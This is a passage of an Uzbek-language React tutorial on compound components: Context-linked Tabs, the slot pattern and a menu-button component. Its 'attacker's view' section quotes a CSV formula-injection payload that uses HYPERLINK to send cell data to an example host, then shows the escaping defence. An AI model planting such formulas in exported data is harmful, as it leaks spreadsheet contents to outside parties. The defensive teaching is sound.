Mundarija (30)
- Bu darsda
- 1. Nega bu kerak?
- 2. Birinchi compound komponent: Tabs
- 2.1 Context — qismlar orasidagi sim
- 2.2 Ko'p qismli komponent — bitta nom ostida
- 2.3 Himoya: qism ota tashqarisida
- 3. Eski yo'l: Children.map va cloneElement
- 3.1 Qanday ishlaydi
- 3.2 Qayerda sinadi
- 3.3 Context bilan — o'ram muammo emas
- 4. Slot naqshi
- 4.1 Uch shakl
- 4.2 Qism — ham slot, ham xulq
- 4.3 Radix uslubidagi API
- 5. Context qiymati va qayta renderlar
- 6. Vazifalar qadami: Menyu — compound qismi (holat 30)
- 6.1 Context va himoya
- 6.2 Ildiz va qismlar
- 6.3 Ishlatilishi
- 6.4 CSS
- Hujumchi nigohi
- 7. Ko'p uchraydigan xatolar
- 8. Mashqlar
- 1-mashq (oson): compound yoki yo'q?
- 2-mashq (o'rta): Accordion
- 3-mashq (qiyin): Malika uchun Tabs
- 4-mashq: vazifalar qadami
- 9. Real ishda
- Xulosa
- Manbalar
Compound komponentlar React'da: Context orqali bog'langan qismlar va slot naqshi
Qisqacha: Compound komponent — bitta ota (
<Tabs>) va uning qismlari (<Tabs.Tab>,<Tabs.Panel>). Ular umumiy holatni Context orqali bo'lishadi, shuning uchun foydalanuvchi qismlarni o'zi xohlagan tartibda, o'ramlar ichida yozadi va props zanjiri kerak bo'lmaydi. Bu HTML'dagi<select>+<option>g'oyasi: ota xulqni biladi, qismlar joyni belgilaydi (slot).vazifalarda shu naqsh bilan<Menyu>yasaymiz — «Hisobotni yuklab olish» tugmasi.
Bu darsda
- "Hamma narsa props'da" komponent nega o'sgan sari buziladi — ko'rasiz.
- Context bilan compound komponent yozasiz:
Tabs,Tabs.List,Tabs.Tab,Tabs.Panel. - Qism ota tashqarisida ishlatilsa aniq xato beradigan himoya yozasiz.
Children.map+cloneElementyondashuvi nega mo'rt ekanini o'zingiz sinab ko'rasiz.- Slot naqshining uch shaklini va Radix uslubidagi API'ni taniysiz;
vazifalargaMenyuni qo'shasiz.
Oldin bilishingiz kerak: children va kompozitsiya, Context II: reducer bilan birga, performance va chegaralar, use(): promise va context'ni o'qish.
1. Nega bu kerak?
Oldingi darsda xatolar katalogini tuzdik. Endi «Bahor» menyusi sahifasi uchun tablar kerak: Ovqatlar, Ichimliklar, Shirinliklar. Sardor birinchi variantni yozdi — hammasi bitta props'da:
<Tabs
items={[
{ label: "Ovqatlar", content: <DishList /> },
{ label: "Ichimliklar", content: <DrinkList /> },
]}
/>Bir hafta ichida talablar keldi. "Ichimliklar" yonida «yangi» belgisi bo'lsin. Shirinliklar tabi hozircha o'chiq turadi. Tablar o'ngda, kontent chapda bo'lsin. Bitta tabga ikonka qo'shilsin. Har talab uchun Sardor yangi props qo'shdi: badge, disabled, position, icon, renderLabel… Tez orada Tabs 14 ta props'li, 200 qatorli if lar yig'indisiga aylandi. Har yangi talab uni yana kattalashtiradi.
Bu — konfiguratsiya orqali API: komponent hamma imkoniyatni oldindan bilishi kerak. Muqobili — kompozitsiya orqali API: komponent qismlarni beradi, foydalanuvchi ularni o'zi yig'adi.
HTML buni allaqachon biladi:
<select name="taom">
<option value="osh">Osh</option>
<option value="manti" disabled>Manti</option>
</select><select> ochilish, tanlash va klaviatura bilan yurishni biladi. <option> lar esa faqat "men shu yerdaman, qiymatim shu" deydi. Ikkalasi bir-birisiz ishlamaydi, lekin ular alohida teglar: siz ularni xohlagan tartibda yozasiz, birini disabled qilasiz, <optgroup> bilan guruhlaysiz. <select> ga options={[…]} props'i kerak emas. Mana shu — compound komponent g'oyasi.
Hayotiy o'xshatish: konstruktor (Lego) to'plami. Tayyor o'yinchoq mashina bitta shaklda keladi. Konstruktor esa sizga g'ildirak, kabina, kuzov beradi — siz yuk mashinasi ham, avtobus ham yig'asiz. Qismlar bir-biriga mos tushadi, chunki ular bitta tizimdan.
2. Birinchi compound komponent: Tabs
2.1 Context — qismlar orasidagi sim
Qismlar umumiy narsani bilishi kerak: qaysi tab tanlangan. Tab tugmasi buni bilsa, o'zini belgilaydi. Panel bilsa, o'zini ko'rsatadi yoki yashiradi. Bu ma'lumotni props bilan uzatsak, foydalanuvchi har qismga active={…} yozishi kerak bo'ladi. Yechim — Context: ota state'ni Context'ga qo'yadi, qismlar uni o'zlari o'qiydi.
import { createContext, use, useState } from "react";
const TabsContext = createContext(null);
function Tabs({ defaultValue, children }) {
const [value, setValue] = useState(defaultValue);
return (
<TabsContext value={{ value, setValue }}>
<div>{children}</div>
</TabsContext>
);
}
function List({ children }) {
return <div role="tablist">{children}</div>;
}
function Tab({ value, children }) {
const tabs = use(TabsContext);
return (
<button
role="tab"
aria-selected={tabs.value === value}
onClick={() => tabs.setValue(value)}
>
{children}
</button>
);
}
function Panel({ value, children }) {
const tabs = use(TabsContext);
if (tabs.value !== value) return null;
return <div role="tabpanel">{children}</div>;
}
Tabs.List = List;
Tabs.Tab = Tab;
Tabs.Panel = Panel;
function App() {
return (
<Tabs defaultValue="ovqat">
<Tabs.List>
<Tabs.Tab value="ovqat">Ovqatlar</Tabs.Tab>{" "}
<Tabs.Tab value="ichimlik">Ichimliklar</Tabs.Tab>
</Tabs.List>
<Tabs.Panel value="ovqat">Osh — 35 000 so'm</Tabs.Panel>
<Tabs.Panel value="ichimlik">Ko'k choy — 5 000 so'm</Tabs.Panel>
</Tabs>
);
}Ekranda:
Ovqatlar Ichimliklar
Ko'k choy — 5 000 so'm«Ichimliklar» bosildi — ichimliklar paneli chiqdi. Endi App ga qarang: unda hech qanday state yo'q, hech bir qismga active uzatilmagan. Tanlangan tab haqidagi bilim — yashirin state (implicit state): u Tabs ning ichida yashaydi va faqat Context orqali qismlarga yetadi.
use(TabsContext) — use() darsidagi Context o'qish; useContext(TabsContext) ham xuddi shunday ishlaydi. <TabsContext value={…}> — React 19 da Provider'ning qisqa yozilishi.
flowchart TD
T["Tabs<br/>state: value"] -->|Context| L[Tabs.List]
L --> T1["Tab ovqat"]
L --> T2["Tab ichimlik"]
T -->|Context| P1["Panel ovqat"]
T -->|Context| P2["Panel ichimlik"]
T1 -. "setValue" .-> T
T2 -. "setValue" .-> TDiagrammadagi asosiy narsa: chiziqlar App dan o'tmaydi. Tab va Panel qayerda turishidan qat'i nazar, ular Tabs ga Context orqali "simlangan".
2.2 Ko'p qismli komponent — bitta nom ostida
Tabs.List = List — funksiyaga xususiyat qo'shish. JavaScript'da funksiya ham obyekt (funksiya obyekt sifatida), unga xususiyat yozish mumkin. Natijada foydalanuvchi bitta nomni import qiladi va qismlarni nuqta orqali topadi: Tabs.Tab, Tabs.Panel. Muharrir avtoto'ldirishi ham yordam beradi: Tabs. yozsangiz, hamma qism ro'yxati chiqadi.
TypeScript'da ham bu ishlaydi: funksiya e'lonidan keyin unga xususiyat yozilsa, tsc uni funksiya turiga qo'shadi. vazifalar dagi Menyu aynan shunday yozilgan («Vazifalar qadami» bo'limida).
Ikkinchi yo'l — alohida nomli eksportlar: TabsList, TabsTab, TabsPanel. Radix kutubxonasi shunday qiladi, lekin import'ni import * as Tabs from "@radix-ui/react-tabs" deb yozdiradi. Natija o'sha: <Tabs.Root>, <Tabs.List>, <Tabs.Trigger>, <Tabs.Content>. Farqi bundlerda: nomli eksportlarda ishlatilmagan qism tree shaking bilan tashlanadi. Statik xususiyatda esa qismlar Tabs bilan birga keladi. Kichik komponentda bu farq sezilmaydi.
2.3 Himoya: qism ota tashqarisida
Sardor <Tabs.Tab> ni <Tabs> dan tashqarida yozdi. use(TabsContext) null qaytaradi va tabs.value da tushunarsiz xato chiqadi. Yaxshi compound komponent buni o'zi aniq aytadi:
import { createContext, use } from "react";
const TabsContext = createContext(null);
function useTabs(part) {
const tabs = use(TabsContext);
if (tabs === null) {
throw new Error(`<Tabs.${part}> — <Tabs> ichida bo'lsin`);
}
return tabs;
}
function Tab({ value, children }) {
const tabs = useTabs("Tab");
return (
<button onClick={() => tabs.setValue(value)}>{children}</button>
);
}
function App() {
return <Tab value="osh">Osh</Tab>;
}Konsolda:
Uncaught Error: <Tabs.Tab> — <Tabs> ichida bo'lsincreateContext(null) — standart qiymat sifatida null. U "Provider topilmadi" belgisi bo'ladi. useTabs — kichik custom hook: o'qiydi, tekshiradi va xato matnida qaysi qism adashganini aytadi. Bu xato dasturchi uchun: u foydalanuvchiga emas, kod yozilayotganda chiqadi. vazifalar dagi useMenyuKonteksti — aynan shu naqsh.
Tekshirib ko'ring:
createContext(null)o'rnigacreateContext({ value: "ovqat", setValue: () => {} })yozilsa, tashqaridagiTabnima qiladi?
Javob
Xato bermaydi — standart qiymatni oladi. Tugma chiziladi, lekin bosganda hech narsa bo'lmaydi: setValue bo'sh funksiya. Bu yomonroq: xato jim bo'lib qoldi. Compound komponentda "soxta" standart qiymat o'rniga null va aniq throw yaxshiroq — xato darhol, to'g'ri joyda ko'rinadi.
3. Eski yo'l: Children.map va cloneElement
3.1 Qanday ishlaydi
Hooklardan oldin compound komponentlar boshqacha yozilardi. Ota o'z children ini aylanib chiqib, har bolaga yashirin props "tiqib" qo'yardi. Buning uchun React'da Children.map (bolalarni aylanish) va cloneElement (elementning nusxasini yangi props bilan yasash) bor:
import { Children, cloneElement, useState } from "react";
function TabList({ children }) {
const [active, setActive] = useState(0);
return (
<ul>
{Children.map(children, (child, i) =>
cloneElement(child, {
active: i === active,
onSelect: () => setActive(i),
}),
)}
<li>Tanlangan: {active}</li>
</ul>
);
}
function Tab({ active, onSelect, children }) {
return (
<li>
<button aria-pressed={active} onClick={onSelect}>
{children}
</button>
</li>
);
}
function App() {
return (
<TabList>
<Tab>Ovqatlar</Tab>
<Tab>Ichimliklar</Tab>
</TabList>
);
}Ekranda:
Ovqatlar
Ichimliklar
Tanlangan: 1Ishlaydi. App da yana state yo'q. Lekin ko'rinmas shart bor: Tab lar TabList ning to'g'ridan-to'g'ri bolalari bo'lishi kerak.
3.2 Qayerda sinadi
Jasur aka mavsumiy tablarni alohida komponentga ajratdi — kodni tartibga solish uchun:
function SeasonalTabs() {
return (
<>
<Tab>Ichimliklar</Tab>
<Tab>Shirinliklar</Tab>
</>
);
}
function App() {
return (
<TabList>
<Tab>Ovqatlar</Tab>
<SeasonalTabs />
</TabList>
);
}Ekranda:
Ovqatlar
Ichimliklar
Shirinliklar
Tanlangan: 0«Ichimliklar» bosildi — hech narsa o'zgarmadi. Xabar ham yo'q. Nima bo'ldi? Children.map ikkita bolani ko'rdi: <Tab>Ovqatlar</Tab> va <SeasonalTabs />. U active va onSelect ni SeasonalTabs ga berdi. SeasonalTabs ularni bilmaydi va ichidagi Tab larga uzatmaydi. Natijada ichkaridagi Tab lar onSelect siz qoldi.
cloneElement ning muammolari shu bilan tugamaydi:
| Muammo | Belgisi |
|---|---|
| O'ram yoki Fragment ichidagi qism | props yetib bormaydi — jim |
Qism bir daraja chuqurroq (masalan <div> ichida) |
ko'rinmaydi |
| Foydalanuvchi props'i ustiga yoziladi | o'zining onSelect i yo'qoladi |
| Tartib raqami — o'rin | shartli qism ({vip && <Tab>}) raqamlarni siljitadi |
React hujjati Children va cloneElement ni "Legacy React APIs" (eski API) bo'limiga qo'ygan va "mo'rt kodga olib keladi" deb ogohlantiradi. Ularni eski kutubxonalarda o'qiysiz (HOC va render props darsida yana uchraydi), lekin yangi kodda Context yo'li ustun.
3.3 Context bilan — o'ram muammo emas
Shu SeasonalTabs ni Context'li Tabs bilan sinab ko'ring:
import { createContext, use, useState } from "react";
const TabsContext = createContext(null);
function Tabs({ defaultValue, children }) {
const [value, setValue] = useState(defaultValue);
return (
<TabsContext value={{ value, setValue }}>
<ul>{children}</ul>
<p>Tanlangan: {value}</p>
</TabsContext>
);
}
function Tab({ value, children }) {
const tabs = use(TabsContext);
return (
<li>
<button
aria-pressed={tabs.value === value}
onClick={() => tabs.setValue(value)}
>
{children}
</button>
</li>
);
}
function SeasonalTabs() {
return (
<>
<Tab value="ichimlik">Ichimliklar</Tab>
<Tab value="shirinlik">Shirinliklar</Tab>
</>
);
}
function App() {
return (
<Tabs defaultValue="ovqat">
<Tab value="ovqat">Ovqatlar</Tab>
<SeasonalTabs />
</Tabs>
);
}Ekranda:
Ovqatlar
Ichimliklar
Shirinliklar
Tanlangan: ichimlikIshladi. Context daraxt bo'ylab istalgan chuqurlikka yetadi — o'ram, Fragment, <div> unga to'siq emas. Ikkinchi farq: tab o'zini tartib raqami bilan emas, qiymati bilan taniydi (value="ichimlik"). Shartli tab qo'shilsa ham boshqalar adashmaydi.
Tekshirib ko'ring: Context'li
Tabsdavalueprops'i nega shart? Tablar tartib raqamini o'zi bilib olsa bo'lmaydimi?
Javob
Context faqat "pastga" uzatadi — Tab o'zi nechanchi ekanini undan bilmaydi. Raqamni bilish uchun qismlar o'zini otada "ro'yxatdan o'tkazishi" kerak (effekt bilan, mount tartibida) — bu murakkab va shartli qismlarda xatoga moyil. Ikkinchi yo'l — commit'dan keyin DOM tartibini o'qish: vazifalar dagi Menyu bandlarni shunday topadi (querySelectorAll('[role="menuitem"]')). Aniq value esa eng sodda va eng ishonchli: Radix ham shuni talab qiladi.
4. Slot naqshi
4.1 Uch shakl
Slot — komponentdagi "bo'sh joy", uni foydalanuvchi o'z kontenti bilan to'ldiradi (children va kompozitsiya darsida bir nechta slot ko'rgansiz). React'da slotning uch shakli bor:
| Shakl | Misol | Qachon |
|---|---|---|
children — bitta slot |
<Card>…</Card> |
bitta joy |
| Props-slot — nomli | <Dialog title={…} footer={…}> |
joylar qat'iy, oz |
| Compound qism-slot | <Dialog.Title>, <Dialog.Footer> |
joylar ko'p, xulq bor |
Props-slot sodda: title doim tepada, footer doim pastda — tartibni komponent hal qiladi. Uning cheklovi — slot bilan birga xulq ham kerak bo'lganda. Masalan, Dialog.Title faqat matn joyi emas: u useId bilan id oladi va dialog uni aria-labelledby orqali bog'laydi. Bu bog'lanishni Context beradi. Props-slotda esa u qo'lda qilinadi.
4.2 Qism — ham slot, ham xulq
Shuning uchun real kutubxonalarda qismlar ikki ish qiladi: joyni belgilaydi va ota xulqiga ulanadi. Tablar misolida Tab — tugma joyi va "bosilganda tanla" xulqi. Panel — kontent joyi va "tanlanmaganda yashirin" xulqi. Foydalanuvchi qismlar orasiga istalgan narsani qo'yadi — sarlavha, ikonka, «yangi» belgisi:
<Tabs defaultValue="ovqat">
<Tabs.List>
<Tabs.Tab value="ovqat">Ovqatlar</Tabs.Tab>
<Tabs.Tab value="ichimlik">
Ichimliklar <span className="badge">yangi</span>
</Tabs.Tab>
</Tabs.List>
<h2>Bugungi menyu</h2>
<Tabs.Panel value="ovqat"><DishList /></Tabs.Panel>
<Tabs.Panel value="ichimlik"><DrinkList /></Tabs.Panel>
</Tabs>«Nega bu kerak?» bo'limidagi to'rt talabning uchtasi Tabs ga bitta ham props qo'shmasdan bajarildi: belgi — Tab ichida, sarlavha — qismlar orasida, joylashuv — CSS bilan. To'rtinchisi (disabled) — Tab ning bitta props'i. Konfiguratsiya o'rniga kompozitsiya shu bilan yutadi.
4.3 Radix uslubidagi API
Bugungi React UI kutubxonalari (Radix, React Aria, Base UI, Ark UI) deyarli bir xil "anatomiya"ga kelishdi:
| Qism | Radix nomi | Vazifasi |
|---|---|---|
| Ildiz | Root |
state, Context, controlled/uncontrolled |
| Ishga tushiruvchi | Trigger |
tugma: ochadi, tanlaydi |
| Kontent | Content |
yashirinadigan qism |
| Bezaklar | Title, Description, Arrow |
a11y bog'lanishi bilan joy |
Bu anatomiyani bir marta tushunsangiz, Dialog, Popover, Tabs, Accordion — hammasi tanish ko'rinadi. Radix'ni Radix Primitives chuqur darsida o'rganamiz. Ildizdagi "controlled/uncontrolled" qatori — keyingi darsning mavzusi.
5. Context qiymati va qayta renderlar
<TabsContext value={{ value, setValue }}> — har Tabs renderida yangi obyekt. Context II darsidan bilasiz: Context qiymati o'zgarsa, uni o'qiydigan har qism qayta chiziladi, memo ham to'xtata olmaydi. Tablarda bu muammo emas: tab tanlansa, hamma qism baribir yangilanishi kerak. Lekin Tabs ning otasi tez-tez chizilsa (masalan, qidiruv maydoni bilan), har safar hamma qism ham chiziladi.
Davosi — qiymatni useMemo bilan barqaror qilish:
const ctx = useMemo(() => ({ value, setValue }), [value]);
return <TabsContext value={ctx}>{children}</TabsContext>;setValue — React kafolatlagan barqaror funksiya, shuning uchun bog'liqlik faqat value. Kichik komponentda buni o'lchamasdan qo'shmang — Profiler bilan qayta render haqiqatan muammo ekanini ko'rganingizda qo'shing.
6. Vazifalar qadami: Menyu — compound qismi (holat 30)
vazifalar ning statistika panelida (Suspense, lazy) yangi talab: «Hisobotni yuklab olish» — CSV (Excel uchun) yoki JSON. Bu — klassik menyu tugmasi (Menu Button): tugma bosilsa, ro'yxat ochiladi, band tanlansa — amal. Yangi branch: feat/ui-menyu. Kanon src/ui/ papkasida uchta fayl yaratadi. #26–#30 darslari ularni birma-bir ochadi, commit esa #30 da:
| Fayl | Nima | Dars |
|---|---|---|
Menyu.tsx |
compound qismlar, Context | shu dars |
useBoshqariladiganHolat.ts |
controlled/uncontrolled | #27 |
useMenyu.ts |
xulq: klaviatura, fokus, ARIA | #30 |
Bu darsda Menyu.tsx ni o'qiymiz. Xulq (useMenyu) unga tayyor holda keladi — u ochiqmi, qaysi bandda fokus va tugma, ro'yxat, bandga qanday atributlar kerakligini biladi. Ichi — Headless komponentlar va prop getters darsida to'liq.
6.1 Context va himoya
// Menyu.tsx — compound komponent (18/#26): <Menyu>,
// <Menyu.Tugma>, <Menyu.Royxat>, <Menyu.Band>. Qismlar bitta
// holatni (ochiqmi, fokus) Context orqali bo'lishadi — chaqiruvchi
// ularni o'z tartibida yozadi (slot naqshi), props zanjiri yo'q.
// Xulq — useMenyu (headless, #30)
import { createContext, use } from "react";
import type { ComponentPropsWithoutRef, ReactNode } from "react";
import { useMenyu } from "./useMenyu.ts";
import type { MenyuBoshqaruvi } from "./useMenyu.ts";
const MenyuKonteksti = createContext<MenyuBoshqaruvi | null>(null);
function useMenyuKonteksti(qism: string): MenyuBoshqaruvi {
const menyu = use(MenyuKonteksti);
if (menyu === null) {
throw new Error(`<Menyu.${qism}> — <Menyu> ichida bo'lsin`);
}
return menyu;
}Bu bo'limdagi kanon izohlari telefonga sig'ishi uchun qayta bo'lindi, fayl boshidagi foydalanish namunasi esa tushirib qoldirildi (u «Ishlatilishi» bo'limida). Kod qatorlari — aynan kanon. «Himoya» bo'limidagi useTabs bilan solishtiring: bir xil. MenyuBoshqaruvi — useMenyu qaytaradigan obyektning turi (ReturnType<typeof useMenyu>). Context'da state'ning o'zi emas, butun xulq turadi: ochiqmi va uchta atribut yasovchi funksiya.
6.2 Ildiz va qismlar
export function Menyu({
children,
ochiq,
boshlangichOchiq,
onOchiqOzgardi,
}: MenyuProps) {
const menyu = useMenyu({ ochiq, boshlangichOchiq, onOchiqOzgardi });
return (
<MenyuKonteksti value={menyu}>
<div className="menyu">{children}</div>
</MenyuKonteksti>
);
}
// Qolgan atributlar (className, aria-describedby, data-*) —
// o'tkaziladi; menyu xulqiga tegishlilari (aria-expanded,
// onClick...) — hook'dan va ULARNING USTIDAN (oxirida yoyiladi):
// chaqiruvchi ularni buzolmaydi
function Tugma({
children,
...qolgan
}: Omit<
ComponentPropsWithoutRef<"button">,
"type" | "onClick" | "onKeyDown" | "aria-expanded" | "aria-haspopup"
>) {
const menyu = useMenyuKonteksti("Tugma");
return (
<button {...qolgan} {...menyu.tugmaXossalari()}>
{children}
</button>
);
}ochiq, boshlangichOchiq, onOchiqOzgardi — keyingi darsda. Hozir ikki narsaga qarang:
MenyufaqatuseMenyuni chaqiradi va natijani Context'ga qo'yadi. Ildiz — "sim": xulq hookda, joy qismlarda.Tugmaning props turi — oddiy<button>ning hamma atributlari (React + TS da batafsil), beshtasidan tashqari.Omit(utility turlar)type,onClickva boshqalarni olib tashlaydi — ular menyu xulqiga tegishli. Yoyish tartibi ham himoya: avval foydalanuvchiniki ({...qolgan}), keyin hookniki. Bir xil nomli atribut bo'lsa, oxirgisi yutadi.
Uzun "type" | "onClick" | … qatori 70 belgidan 2 belgiga uzun. Kanon kodi o'zgarmaydi, telefonda bu qatorni gorizontal aylantirasiz.
function Royxat({ children }: { children: ReactNode }) {
const menyu = useMenyuKonteksti("Royxat");
return (
<div className="menyu-royxat" {...menyu.royxatXossalari()}>
{children}
</div>
);
}
function Band({
children,
onTanla,
}: {
children: ReactNode;
onTanla: () => void;
}) {
const menyu = useMenyuKonteksti("Band");
return (
<button
type="button"
className="menyu-band"
{...menyu.bandXossalari(onTanla)}
>
{children}
</button>
);
}
// Compound API: Menyu.Tugma, Menyu.Royxat, Menyu.Band — bitta import
Menyu.Tugma = Tugma;
Menyu.Royxat = Royxat;
Menyu.Band = Band;Har qism bir xil uch qadam qiladi: Context'dan menyuni olish, o'z elementini chizish, hook bergan atributlarni yoyish. Hook nima berishi — #30 da. Masalan, royxatXossalari() ichida role: "menu" va hidden: !ochiq bor. Ro'yxat yopiqligini Royxat emas, hook hal qiladi.
6.3 Ishlatilishi
BatafsilStatistika.tsx da, umumiy son paragrafidan keyin:
{/* Compound menyu (18/#26) — WAI-ARIA Menu Button: strelkalar,
Home/End, Esc, harf bilan qidirish */}
<Menyu>
<Menyu.Tugma className="hisobot-tugma">
Hisobotni yuklab olish
</Menyu.Tugma>
<Menyu.Royxat>
<Menyu.Band
onTanla={() =>
faylniYuklabBer(
statistikaCsv(s),
"statistika.csv",
"text/csv;charset=utf-8",
)
}
>
CSV (Excel uchun)
</Menyu.Band>
<Menyu.Band
onTanla={() =>
faylniYuklabBer(
JSON.stringify(s, null, 2),
"statistika.json",
)
}
>
JSON
</Menyu.Band>
</Menyu.Royxat>
</Menyu>O'qiladi: tugma, ro'yxat, ikki band. className="hisobot-tugma" — qolgan orqali <button> ga yetadi. faylniYuklabBer — 17-qismdagi eksportdan beri bor yordamchi (fayl.ts). JSON — statistika obyektining o'zi.
«Teglar tartibi» tanlovini ham menyuga almashtirish mumkin edi, lekin kanon uni native <select> da qoldirdi. <select> ekran o'quvchida, telefonda va klaviaturada "tekin" to'g'ri ishlaydi. Uni o'z komponentiga almashtirish a11y regressiya bo'lardi. Compound komponent native element bor joyda emas, u yo'q joyda kerak.
6.4 CSS
/* 18/#26: menyu (Menu Button) — ro'yxat tugma ostida,
oqimdan tashqarida */
.menyu { position: relative; display: inline-block; }
.menyu-royxat:not([hidden]) {
position: absolute;
z-index: 2;
display: flex;
flex-direction: column;
min-width: 100%;
margin-top: 0.25rem;
padding: 0.25rem;
border: 1px solid var(--rang-chegara);
border-radius: 0.5rem;
background: var(--rang-yuza);
box-shadow: 0 0.25rem 1rem rgb(0 0 0 / 0.2);
}
.menyu-band { border: 0; text-align: start; white-space: nowrap; }
.menyu-band:focus-visible, .menyu-band:hover {
background: var(--rang-asosiy);
color: var(--rang-asosiy-ustida);
}:not([hidden]) — display: flex yashirin ro'yxatni ochib yubormasligi uchun. hidden atributi brauzerda display: none beradi. Lekin muallif CSS'idagi display: flex undan kuchliroq bo'lardi. Raqamlar (0.25rem, 0.5rem) Dizayn tizimi darsida tokenlarga aylanadi.
Hujumchi nigohi
CSV hisobotida teglar nomi ham bor — ularni foydalanuvchi o'zi yozadi. Hujumchi (yoki shunchaki hazilkash hamkasb) vazifaga shunday teg qo'yadi: #=HYPERLINK("https://example.com/x?d="&A1,"Bosing"). Jasur aka hisobotni Excel'da ochadi. Excel = bilan boshlangan katakni formula deb bajaradi: katakda havola paydo bo'ladi, u boshqa kataklardagi ma'lumotni manzilga qo'shib yuboradi. Bu — CSV injection (formula injection, OWASP ro'yxatida bor).
Kanondagi himoya — har katak yoziladigan joyda:
// CSV katagi: vergul, qo'shtirnoq yoki yangi qator bo'lsa —
// qo'shtirnoq ichida (ichidagi " → ""). = + - @ bilan boshlansa —
// oldiga ' (formula injection: Excel katakni formula deb
// bajarmasin; OWASP CSV Injection)
function csvKatak(qiymat: string | number): string {
let matn = String(qiymat);
if (/^[=+\-@\t\r]/.test(matn)) {
matn = `'${matn}`;
}
return /[",\n\r]/.test(matn)
? `"${matn.replaceAll('"', '""')}"`
: matn;
}Ikki himoya: =, +, -, @ (va tab, qaytish belgisi) bilan boshlangan qiymat oldiga ' qo'yiladi — Excel uni matn deb ko'rsatadi. Vergul, qo'shtirnoq yoki yangi qatorli qiymat qo'shtirnoq ichiga olinadi. Aks holda Osh, palov kabi teg ikki ustunga bo'linib, jadvalni siljitardi. Yana bir detal: statistikaCsv faylning boshiga BOM ( — ko'rinmas belgi) qo'yadi: busiz Excel o'zbekcha o' va g' larni buzib ko'rsatishi mumkin. Brauzer tekshiruvi (e2e) CSV fayl tarkibini haqiqiy yuklab olish orqali tekshiradi.
7. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
Cannot read properties of null (reading 'value') |
qism ota tashqarisida, Context null |
useTabs kabi himoya: aniq xato matni |
| Bosilganda hech narsa bo'lmaydi | cloneElement + o'ram yoki Fragment |
Context'ga o'tish |
| Tab tanlanganda boshqa tab belgilanadi | tartib raqami bilan tanish, shartli qism | aniq value |
Foydalanuvchining onClick i ishlamaydi |
yoyish tartibi: hook atributi ustidan yozdi | hujjatlang yoki Omit bilan turdan olib tashlang |
| Hamma qismlar har harfda chiziladi | Context qiymati har renderda yangi | useMemo — o'lchagandan keyin |
Native <select> o'rniga o'z komponenti |
"chiroyliroq" — a11y regressiya | native bo'lsa, native qolsin |
8. Mashqlar
Mashqlar kurs/mashqlar/18/26-compound/ da. Har yechimni «Ishga tushir» bilan sinang.
1-mashq (oson): compound yoki yo'q?
Qaysi API compound komponent? ha yoki yo'q deb yozing:
<select>va<option>:<Button variant="asosiy">Saqlash</Button>:<Accordion.Item>,<Accordion.Header>,<Accordion.Panel>:<Tabs items={[{ label, content }]} />:
Yechim
Compound — bitta ota va unga bog'langan, alohida yoziladigan qismlar. <select>/<option> — HTML'dagi klassik misol. Accordion qismlari — o'sha naqsh. Button — bitta komponent, qismsiz. items massivli Tabs — konfiguratsiya orqali API: qismlar props ichida, foydalanuvchi ularni o'zi yig'a olmaydi.
2-mashq (o'rta): Accordion
«Bahor» savol-javob sahifasi. Accordion yozing: Accordion.Item (har savol, value bilan), Accordion.Header (bosiladigan sarlavha) va Accordion.Panel (javob). Bir vaqtda faqat bitta javob ochiq. Header va Panel o'zi qaysi Item da ekanini bilishi kerak — bunga ikkinchi Context kerak bo'ladi. Ishora: «Context — qismlar orasidagi sim» bo'limi; Item o'z value sini o'z Context'iga qo'yadi.
Foydalanish shunday bo'lishi kerak:
<Accordion>
<Accordion.Item value="vaqt">
<Accordion.Header>Ish vaqti qanday?</Accordion.Header>
<Accordion.Panel>Har kuni 9:00 dan 23:00 gacha.</Accordion.Panel>
</Accordion.Item>
<Accordion.Item value="yetkazish">
<Accordion.Header>Yetkazib berasizmi?</Accordion.Header>
<Accordion.Panel>
Ha, Chilonzor bo'ylab — 10 000 so'm.
</Accordion.Panel>
</Accordion.Item>
</Accordion>Kutilgan natija (yechimda «Yetkazib berasizmi?» bosilgandan keyin):
Ish vaqti qanday?
Yetkazib berasizmi?
Ha, Chilonzor bo'ylab — 10 000 so'm.Yechim
import { createContext, use, useState } from "react";
const AccordionContext = createContext(null);
const ItemContext = createContext(null);
function Accordion({ children }) {
const [open, setOpen] = useState(null);
return (
<AccordionContext value={{ open, setOpen }}>
<div>{children}</div>
</AccordionContext>
);
}
function Item({ value, children }) {
return <ItemContext value={value}>{children}</ItemContext>;
}
function Header({ children }) {
const { open, setOpen } = use(AccordionContext);
const value = use(ItemContext);
const isOpen = open === value;
return (
<h3>
<button
aria-expanded={isOpen}
onClick={() => setOpen(isOpen ? null : value)}
>
{children}
</button>
</h3>
);
}
function Panel({ children }) {
const { open } = use(AccordionContext);
const value = use(ItemContext);
return open === value ? <p>{children}</p> : null;
}
Accordion.Item = Item;
Accordion.Header = Header;
Accordion.Panel = Panel;
function App() {
return (
<Accordion>
<Accordion.Item value="vaqt">
<Accordion.Header>Ish vaqti qanday?</Accordion.Header>
<Accordion.Panel>
Har kuni 9:00 dan 23:00 gacha.
</Accordion.Panel>
</Accordion.Item>
<Accordion.Item value="yetkazish">
<Accordion.Header>Yetkazib berasizmi?</Accordion.Header>
<Accordion.Panel>
Ha, Chilonzor bo'ylab — 10 000 so'm.
</Accordion.Panel>
</Accordion.Item>
</Accordion>
);
}Ekranda:
Ish vaqti qanday?
Yetkazib berasizmi?
Ha, Chilonzor bo'ylab — 10 000 so'm.Ikki Context: AccordionContext — butun accordion uchun bitta (qaysi ochiq), ItemContext — har Item uchun o'zi (men kimman). Header ikkalasini o'qiydi va o'zini ochadi yoki yopadi. Birinchi savol bosildi, keyin ikkinchisi — open almashdi, birinchisi o'zi yopildi. Sarlavhadagi <button> va aria-expanded — WAI-ARIA Accordion naqshi: Malikaning ekran o'quvchisi "yig'ilgan" yoki "yoyilgan" deb aytadi.
3-mashq (qiyin): Malika uchun Tabs
«Birinchi compound komponent» bo'limidagi Tabs ni kuchaytiring:
- har qism
<Tabs>tashqarisida ishlatilsa —<Tabs.Tab> — <Tabs> ichida bo'lsinkabi aniq xato; TabvaPanelbir-biriga ARIA bilan bog'lansin: tabidvaaria-controls, panelidvaaria-labelledby. Id'laruseIddan (useId) —Tabsbitta asos id yasaydi, qismlar ungavalueni qo'shadi.
Tekshirish uchun App effektda tanlangan tabning aria-controls i va panelning aria-labelledby si bir-biriga mosligini konsolga yozsin. Kutilgan natija: «Ichimliklar» bosilgandan keyin konsolda mos: true (ikki marta — boshida va bosilgandan keyin), ekranda ichimliklar paneli.
Yechim
import {
createContext,
use,
useEffect,
useId,
useState,
} from "react";
const TabsContext = createContext(null);
function useTabs(part) {
const tabs = use(TabsContext);
